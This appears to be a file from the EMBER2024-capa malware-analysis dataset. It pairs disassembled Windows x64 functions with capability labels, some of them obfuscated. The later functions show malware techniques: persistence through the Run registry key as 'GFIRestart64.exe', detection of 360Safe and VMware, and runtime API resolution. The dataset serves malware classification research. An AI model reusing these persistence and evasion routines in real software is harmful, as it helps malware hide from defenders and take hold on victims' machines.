joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1402341ab
Capabilities:
Create process on windows
Delete file
Encode data using xor
Resolve function by parsing pe exports
Write and execute a file
Write file on windows

Disassembly:
mov rbp, qword [rsp + 0x40]
setbe byte [rsp + 0x30]
jne 0x140273187

Function at 0x14026f15c
Capabilities:
Get common file path

Disassembly:
and byte [rsp + 0x38], 0xe
mov r11, qword [rsp + 0x10]
setae byte [rsp + 0x38]
call fcn.140311a0a
add word [rsp + 0x38], dx
je 0x1401aac53
mov rdx, qword [rsp + 0x10]
sub byte [rsp + 0x38], 0xcb
call fcn.1401f4979

Function at 0x14027483d
Capabilities:
Encode data using xor

Disassembly:
mov r8, rbp
add rbp, rbp
movsx bp, byte [rsp + 0x48]
lea r8, [r8 + rbp*2 + 0x2cb73481]
and dil, r12b
call fcn.14016df0b

Function at 0x14027b239
Capabilities:
Get common file path

Disassembly:
and ebx, 0x270a5cf5
mov rbx, qword [rsp + 0x20]
je 0x1402673ff
mov sil, byte [rsp + 0xaf]
sub qword [rsp + 0x68], 0x71895d92
test word [rsp + 0x48], 0x3a79
call fcn.1401e46c8

Function at 0x14028bf71
Capabilities:
Terminate process

Disassembly:
mov r10, qword [rsp + 0x20]
xor word [rsp + 0xb0], 0x1426
or qword [rsp + 0x30], 0x69097dd3
and word [rsp + 0x80], 0x4cdc
call fcn.14029c1f7
mov r11b, byte [rsp + 0x29]
mov r11, qword [rsp + 0x30]
pop rbp
call fcn.1402d0aaf

Function at 0x14028bfa8
Capabilities:
Terminate process

Disassembly:
lea rsp, [rsp + 0x38]
call fcn.1404292cf
jg 0x14010b16a
mov r13, qword [rsp + 0x10]
call fcn.140319b00
cmp r14d, dword [rsp + 0x41]
mov r13, qword [rsp + 8]
lea rsp, [rsp + 0x18]
ret

Function at 0x140294e5d
Capabilities:
Get common file path

Disassembly:
mov r15, qword [rsp + 0x20]
test word [rsp + 0x50], 0x4934
mov r10, qword [rsp + 0x10]
mov r13, qword [rsp + 8]
lea rsp, [rsp + 0x30]
ret 8
mov rdx, qword [rsp + 0x60]
movabs r10, 0x1fa43fbb74633fd6
xor dword [rsp + 0x50], 0x53e4c67
xor r10d, r13d
add qword [rsp + 0x30], 0xfffffffffff49a1d
bswap r10
and dword [rsp + 0x50], r15d
add r13w, 0x3b41
not r15
jno 0x14020ac29

Function at 0x140294e97
Capabilities:
Get common file path

Disassembly:
neg ebp
movsxd rbx, dword [rsp + 0x18]
add qword [rsp + 0x10], 0xffffffffbfe52811
neg qword [rsp + 0x18]
xchg qword [rsp + rbp*8 - 0x1c056048], rdx
or r10w, word [rsp + 0x1d]
test sil, r12b

Function at 0x14029569d
Capabilities:
Encode data using xor

Disassembly:
mov r8, qword [rsp + 0x68]
or word [rsp + 0x60], 0x64e8
xor cx, word [rsp + 0x66]
add qword [rsp + 0x20], 0xffffffffbfd6938d
call fcn.1402f4c24
pop rbx
push rdx
invalid

Function at 0x1402a89b5
Capabilities:
Encode data using xor

Disassembly:
invalid
mov rax, qword [rsp + 0x30]
mov rax, qword [rax + r11 - 0x5d01]
sub r11, 0x43662c8f
or r11w, 0x133f
not r11b
setae r11b
xor r11d, 0x7de603b3
call fcn.1401f40ec
fadd qword [rax]
js 0x1402a89c5
invalid
mov dword [rcx + 0x71], ebx
jo 0x1402a898a
in eax, dx
movsxd rsi, dword [rdi + rbx - 0x3f]
xchg esp, eax
in al, dx
mov dl, byte [rax]
imul rsi, qword [r11 + 0x77], 0xffffffffd9a629ef
and dword [rax], 0x8eacb840
mov al, 0x51
cmc
mov dl, Ordinal_143
push rax
fiadd word cs:[rcx + rsi*2]
pop rdi
fbld tbyte [rdx + rdi*2]
mov word [rax], fs
invalid
Function at 0x1402ca816
Capabilities:
Encode data using xor

Disassembly:
neg byte [rsp + 0x88]
jbe 0x1402a1d53

Function at 0x1402cae49
Capabilities:
Get common file path

Disassembly:
push rbx
mov rbx, rdi
push r10
cmp bl, 0xca
mov rbx, qword [rsp + 8]
mov qword [rsp + 0x30], rbx
call fcn.14011cdfe

Function at 0x1402cae68
Capabilities:
Get common file path

Disassembly:
lea rdi, [rbx*8 + 0x79490a6a]
mov r9, qword [rsp + 0x80]
call fcn.14010dd3b
push rcx
call fcn.14018b127

Function at 0x1402d4fdf
Capabilities:
Encode data using xor

Disassembly:
lea rdx, [rdx + 1]
jne 0x140297bb5
not r14
xor r14, 0x6c772baf
call fcn.14023a631
movabs r14, 0x6f8b12317def0a16
push r10
not r14b
movzx r14w, r14w
pushfq
add r14w, 0x352a
xor r14b, 0xda
jl 0x1402594d4

Function at 0x1402ec67f
Capabilities:
Access peb ldr_data

Disassembly:
call fcn.1401dbca1
sub r11, 0x5ee53460
push r15
jae 0x14019a3e8

Function at 0x1403017b0
Capabilities:
Read file on windows
Read pipe

Disassembly:
mov rax, qword [rsp + 0x18]
push 0x371803a4
mov word [rsp], 0x81a
lea rax, [rax + 1]
push r10
call fcn.140232998
not dword [rsp + 0x20]
xor byte [rsp + 0x20], dil
mov rdi, qword [rsp + 0x30]
mov rdi, qword [rdi]
jo 0x14022db21
mov qword [rsp + 0x30], 0x52d47548
setle byte [rsp + 0x20]
setne byte [rsp + 0x20]
setle byte [rsp + 0x30]
jle 0x140040ce3
lea rdi, [rdi + 0x76705e00]
setg byte [rsp + 0x20]
neg qword [rsp + 0x30]
cmp word [rsp + 0x20], 0xd6c
call fcn.14026f2d6
Function at 0x1400025d0
Capabilities:
Hash data with md5

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x18]
sub rsp, 0x118
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov rax, qword [0x140042468]
xor rax, rsp
mov qword [rbp], rax
mov rsi, r9
mov rbx, r8
mov r15, rcx
mov r12, qword [rbp + 0x80]
mov r13, qword [rbp + 0x88]
mov r14, qword [rbp + 0x90]
mov qword [rsp + 0x50], 7
xor eax, eax
mov qword [rsp + 0x48], rax
mov word [rsp + 0x38], ax
or rcx, 0xffffffffffffffff
mov rdi, rdx
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
lea rcx, [rsp + 0x38]
call fcn.1400045f0
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbx
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, rbx
lea rcx, [rsp + 0x38]
call fcn.1400045f0
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rsi
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, rsi
lea rcx, [rsp + 0x38]
call fcn.1400045f0
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, r12
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, r12
lea rcx, [rsp + 0x38]
call fcn.1400045f0
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, r13
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, r13
lea rcx, [rsp + 0x38]
call fcn.1400045f0
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, r14
repne scasw ax, word [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, r14
lea rcx, [rsp + 0x38]
call fcn.1400045f0
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 8
cmovae rdx, qword [rsp + 0x38]
mov byte [rbp - 8], 0
xor edi, edi
mov qword [rbp - 0x60], rdi
mov dword [rbp - 0x70], 0x67452301
mov dword [rbp - 0x6c], 0xefcdab89
mov dword [rbp - 0x68], 0x98badcfe
mov dword [rbp - 0x64], 0x10325476
mov r8, qword [rsp + 0x48]
lea r8, [r8 + r8 + 2]
lea rcx, [rbp - 0x70]
call fcn.140004ac0
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x70]
call fcn.140005600
lea r8, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae r8, qword [rsp + 0x60]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
or r9d, 0xffffffff
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea r8, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae r8, qword [rsp + 0x60]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r15
or r9d, 0xffffffff
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp qword [rsp + 0x78], 0x10
jb 0x1400027a8
mov rcx, qword [rsp + 0x60]
call fcn.14001ccb0
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x70], rdi
mov byte [rsp + 0x60], dil
cmp qword [rsp + 0x50], 8
jb 0x1400027cd
mov rcx, qword [rsp + 0x38]
call fcn.14001ccb0
mov rcx, qword [rbp]
xor rcx, rsp
call fcn.14001ccd0
add rsp, 0x118
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x140002aa0
Capabilities:
Enumerate processes

Disassembly:
mov r11, rsp
push rsi
sub rsp, 0x280
mov rax, qword [0x140042468]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov qword [r11 + 0x20], r12
lea rsi, [0x14004c520]
xor edx, edx
mov r8d, 0x1fe
mov rcx, rsi
mov qword [r11 - 0x18], r14
call fcn.14001f300
mov rcx, qword [str.360Safe.exe]
lea rdx, [0x140039df8]
xor r14d, r14d
mov r12d, r14d
call fcn.14001d528
test rax, rax
jne 0x140002c0e
mov qword [rsp + 0x290], rbx
mov qword [rsp + 0x298], rbp
mov qword [rsp + 0x2a0], rdi
mov qword [rsp + 0x278], r13
lea r13, str.360Safe.exe
mov ebp, r14d
mov rbx, r13
nop dword [rax + rax]
mov rdi, qword [rbx]
lea rcx, [rsp + 0x24]
xor edx, edx
mov r8d, 0x234
mov dword [rsp + 0x20], r14d
call fcn.14001f300
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140002bc7
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140002bbe
nop dword [rax + rax]
lea rcx, [rsp + 0x4c]
mov r8, rdi
sub r8, rcx
nop dword [rax + rax]
movzx edx, word [rcx]
movzx eax, word [rcx + r8]
sub edx, eax
jne 0x140002ba4
add rcx, 2
test eax, eax
jne 0x140002b90
mov rcx, rbx
test edx, edx
je 0x140002c5e
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140002b80
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc r12
lea rdx, [0x140039df8]
mov rbp, r12
shl rbp, 4
lea rbx, [r13 + rbp]
mov rcx, qword [rbx]
call fcn.14001d528
test rax, rax
je 0x140002b30
mov r13, qword [rsp + 0x278]
mov rdi, qword [rsp + 0x2a0]
mov rbp, qword [rsp + 0x298]
mov rbx, qword [rsp + 0x290]
lea rdx, [0x140039df8]
mov rcx, rsi
call fcn.14001d528
mov r14, qword [rsp + 0x270]
mov r12, qword [rsp + 0x2a8]
test rax, rax
jne 0x140002c42
lea rdx, [0x140039cd4]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rax, rsi
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14001ccd0
add rsp, 0x280
pop rsi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x28], r14d
je 0x140002bc7
mov rdx, qword [r13 + rbp + 8]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [0x140039dfc]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x140002bc7
Function at 0x140002ca0
Capabilities:
Persist via run registry key

Disassembly:
push rbp
sub rsp, 0x690
mov rax, qword [0x140042468]
xor rax, rsp
mov qword [rsp + 0x680], rax
lea rcx, [rsp + 0x52]
xor ebp, ebp
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x50], bp
call fcn.14001f300
lea rcx, [rsp + 0x262]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x260], bp
call fcn.14001f300
lea rcx, str.Shell32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.SHGetSpecialFolderPathW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140002d81
lea r9d, [rbp + 1]
lea r8d, [rbp + 7]
lea rdx, [rsp + 0x50]
xor ecx, ecx
call rax
test eax, eax
je 0x140002d81
lea r9, str.GFIRestart64.exe
lea r8, [rsp + 0x50]
lea rdx, [0x140039e60]
lea rcx, [rsp + 0x260]
call qword [sym.imp.USER32.dll_wsprintfW]
mov qword [rsp + 0x30], rbp
lea rcx, [rsp + 0x260]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x28], ebp
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x140002d81
lea eax, [rbp + 1]
jmp 0x140002ea2
mov qword [rsp + 0x6a0], rbx
lea rcx, str.ADVAPI32.dll
mov qword [rsp + 0x6a8], rsi
mov qword [rsp + 0x6b0], rdi
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.RegQueryValueExW
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RegOpenKeyExW
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RegCloseKey
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rsi, rsi
je 0x140002e88
test rdi, rdi
je 0x140002e88
test rax, rax
je 0x140002e88
lea rax, [rsp + 0x48]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call rdi
test eax, eax
jne 0x140002e88
lea rcx, [rsp + 0x472]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x470], bp
call fcn.14001f300
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x40]
lea rdx, str.GFIRestart64.exe
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x470]
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x40], 0x208
call rsi
mov rcx, qword [rsp + 0x48]
test eax, eax
jne 0x140002e86
call rbx
mov eax, 1
jmp 0x140002e8a
call rbx
xor eax, eax
mov rsi, qword [rsp + 0x6a8]
mov rbx, qword [rsp + 0x6a0]
mov rdi, qword [rsp + 0x6b0]
mov rcx, qword [rsp + 0x680]
xor rcx, rsp
call fcn.14001ccd0
add rsp, 0x690
pop rbp
ret
Function at 0x140003510
Capabilities:
Get token membership

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [0x140042468]
xor rax, rsp
mov qword [rsp + 0x78], rax
xor ebx, ebx
lea rax, [rsp + 0x68]
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], ebx
mov dword [rsp + 0x40], ebx
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], ebx
lea r8d, [rbx + 0x20]
mov r9d, 0x220
mov dl, 2
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x70], 0
mov word [rsp + 0x74], 0x500
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rsp + 0x60], eax
test eax, eax
je 0x14000359b
mov rdx, qword [rsp + 0x68]
lea r8, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rsp + 0x60]
cmp eax, 1
sete al
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14001ccd0
add rsp, 0x80
pop rbx
ret

Function at 0x140003940
Capabilities:
Get disk information
Get disk size
Get memory capacity

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xc0
mov rax, qword [0x140042468]
xor rax, rsp
mov qword [rsp + 0xb8], rax
xor r13d, r13d
mov r12, rcx
mov edi, r13d
mov esi, r13d
mov ebp, r13d
mov ebx, r13d
lea eax, [rbx + 0x42]
lea rcx, [rsp + 0xa0]
mov dword [rsp + 0xa2], 0x5c003a
mov word [rsp + 0xa0], ax
mov word [rsp + 0xa6], r13w
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x1400039eb
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0xa0]
inc ebp
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov r11, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
shr r11, 0x1e
shr rax, 0x1e
add edi, r11d
add esi, eax
inc ebx
cmp ebx, 0x1a
jl 0x140003983
xor eax, eax
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x60], 0x40
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rax
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x70]
shr rax, 0x1e
lea r8, [0x140039fb0]
shr rbx, 0x1e
inc rax
mov r9d, ebp
mov edx, 0xc8
mov qword [rsp + 0x30], rax
mov rcx, r12
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], edi
inc rbx
call fcn.14001d364
lea r8, [0x14003a000]
mov r9, r12
mov edx, 0xc8
mov rcx, r12
mov qword [rsp + 0x20], rbx
call fcn.14001d364
mov rcx, qword [rsp + 0xb8]
xor rcx, rsp
call fcn.14001ccd0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140003ad0
Capabilities:
Get system information on windows
Query or enumerate registry value

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
sub rsp, 0x2a0
mov rax, qword [0x140042468]
xor rax, rsp
mov qword [rsp + 0x290], rax
mov rdi, r9
mov rsi, r8
mov r12, rdx
mov r13, rcx
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x30], 1
xor ebx, ebx
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x80]
call fcn.14001f300
nop
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, r12
mov rcx, r13
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140003b4d
or ebx, 0xffffffff
jmp 0x140003cf0
mov ecx, dword [rsp + 0x2f0]
test ecx, ecx
je 0x140003c4c
dec ecx
je 0x140003bdf
dec ecx
jne 0x140003cf0
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x140003cf0
cmp eax, 2
ja 0x140003cf0
mov dword [rsp + 0x34], 0x208
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, rsi
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140003cf0
lea rdx, [0x140039bbc]
lea rcx, [rsp + 0x80]
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x140003cf0
cmp eax, 2
ja 0x140003cf0
mov dword [rsp + 0x34], 0x208
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, rsi
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, rdi
test eax, eax
jne 0x140003ce2
lea rdx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, 1
jmp 0x140003cf0
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x140003cf0
cmp eax, 2
ja 0x140003cf0
mov dword [rsp + 0x34], 0x208
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, rsi
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140003cdf
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r9d, dword [rsp + 0x68]
lea r8, [rsp + 0x80]
lea rdx, str._s__d
lea rcx, [rsp + 0x80]
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, rdi
lea rdx, str.error
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
nop
Function at 0x1400042c0
Capabilities:
Enumerate processes
Get disk size
Get memory capacity

Disassembly:
sub rsp, 0x308
mov rax, qword [0x140042468]
xor rax, rsp
mov qword [rsp + 0x2f8], rax
lea rcx, str.C:Program_FilesVMwareVMware_Tools_
call qword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
jne 0x140004304
mov al, 1
mov rcx, qword [rsp + 0x2f8]
xor rcx, rsp
call fcn.14001ccd0
add rsp, 0x308
ret
xor edx, edx
mov qword [rsp + 0x310], rbx
mov dword [rsp + 0xa0], 0x238
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140004332
xor al, al
jmp 0x140004500
lea rdx, [rsp + 0xa0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400043bc
nop word [rax + rax]
lea rdx, str.VMwareService.exe
lea rcx, [rsp + 0xcc]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140004458
lea rdx, str.VMwareTray.exe
lea rcx, [rsp + 0xcc]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140004458
lea rdx, str.VMwareUser.exe
lea rcx, [rsp + 0xcc]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140004458
lea rdx, [rsp + 0xa0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140004350
mov rcx, rbx
mov qword [rsp + 0x300], rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
lea r8, [rsp + 0x40]
lea rcx, str.localhost
lea edx, [rdi + 0x64]
mov qword [rsp + 0x40], rdi
call qword [sym.imp.NETAPI32.dll_NetWkstaGetInfo]
test eax, eax
jne 0x140004433
mov rax, qword [str.WORKGROUP]
mov rcx, qword [rsp + 0x40]
lea rdx, [rsp + 0x2e0]
mov qword [rsp + 0x2e0], rax
mov rax, qword [0x14003a3b8]
mov qword [rsp + 0x2e8], rax
mov eax, dword [0x14003a3c0]
mov dword [rsp + 0x2f0], eax
mov rcx, qword [rcx + 0x10]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140004451
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
cmp qword [rsp + 0x68], 0x45f41500
jae 0x14000445f
mov al, 1
jmp 0x1400044f8
mov al, 1
jmp 0x140004500
xor r9d, r9d
mov qword [rsp + 0x30], rdi
lea rcx, str..PhysicalDrive0
lea r8d, [r9 + 1]
mov edx, 0x80000000
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14000449f
or rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x1400044f8
mov qword [rsp + 0x38], rdi
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x48]
xor r8d, r8d
mov edx, 0x7405c
mov rcx, rbx
mov dword [rsp + 0x28], 8
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x48]
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
cmp rax, 0x6e
setl al
mov rdi, qword [rsp + 0x300]
mov rbx, qword [rsp + 0x310]
mov rcx, qword [rsp + 0x2f8]
xor rcx, rsp
call fcn.14001ccd0
add rsp, 0x308
ret
Function at 0x140005f40
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x30
mov r12, rcx
mov rcx, qword [rcx + 0x148]
mov rbx, r9
mov esi, r8d
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, [r12 + 0x138]

Function at 0x140007000
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov qword [rcx + 8], rdx
mov rbp, rdx
lea rax, vtable.CManager.0
mov qword [rcx], rax
mov rax, qword [rdx]
mov rbx, rcx
mov rdx, rcx
mov rcx, rbp
mov esi, r9d
mov rdi, r8
call qword [rax + 0x18]
xor r9d, r9d
lea edx, [r9 + 1]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x10], rax
lea rax, vtable.CKernelManager.0
mov qword [rbx], rax
mov eax, dword [rsp + 0x60]
mov dword [rbx + 0x230], eax
test eax, eax
je 0x1400070ae
test rdi, rdi
je 0x140007081
lea rcx, [0x14004af10]
mov r8, rdi
mov edx, 0x208
call fcn.14001d7a0
mov r8, qword [rsp + 0x58]
test r8, r8
je 0x14000709c
lea rcx, [0x14004b320]
mov edx, 0x208
call fcn.14001d7a0
mov eax, dword [rsp + 0x50]
mov dword [0x1400474f8], esi
mov dword [0x140047980], eax
jmp 0x1400070f2
test rdi, rdi
je 0x1400070c7
lea rcx, [0x14004a6f0]
mov r8, rdi
mov edx, 0x208
call fcn.14001d7a0
mov r8, qword [rsp + 0x58]
test r8, r8
je 0x1400070e2
lea rcx, [0x14004ab00]
mov edx, 0x208
call fcn.14001d7a0
mov eax, dword [rsp + 0x50]
mov dword [0x1400466dc], esi
mov dword [0x14004795c], eax
xor eax, eax
lea rcx, str.ADVAPI32.dll
mov qword [rbx + 0x228], rbp
mov qword [rbx + 0x234], rax
mov qword [0x140049668], rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.RegCreateKeyExW
mov rcx, rax
mov qword [rbx + 0x240], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, str.RegSetValueExW
mov qword [rbx + 0x248], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, str.RegDeleteKeyW
mov qword [rbx + 0x288], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, str.RegDeleteValueW
mov qword [rbx + 0x258], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, str.RegQueryValueExW
mov qword [rbx + 0x260], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, str.RegOpenKeyExW
mov qword [rbx + 0x250], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, str.RegEnumValueW
mov qword [rbx + 0x268], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, str.RegEnumKeyExW
mov qword [rbx + 0x270], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, str.RegCloseKey
mov qword [rbx + 0x278], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov qword [rbx + 0x280], rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret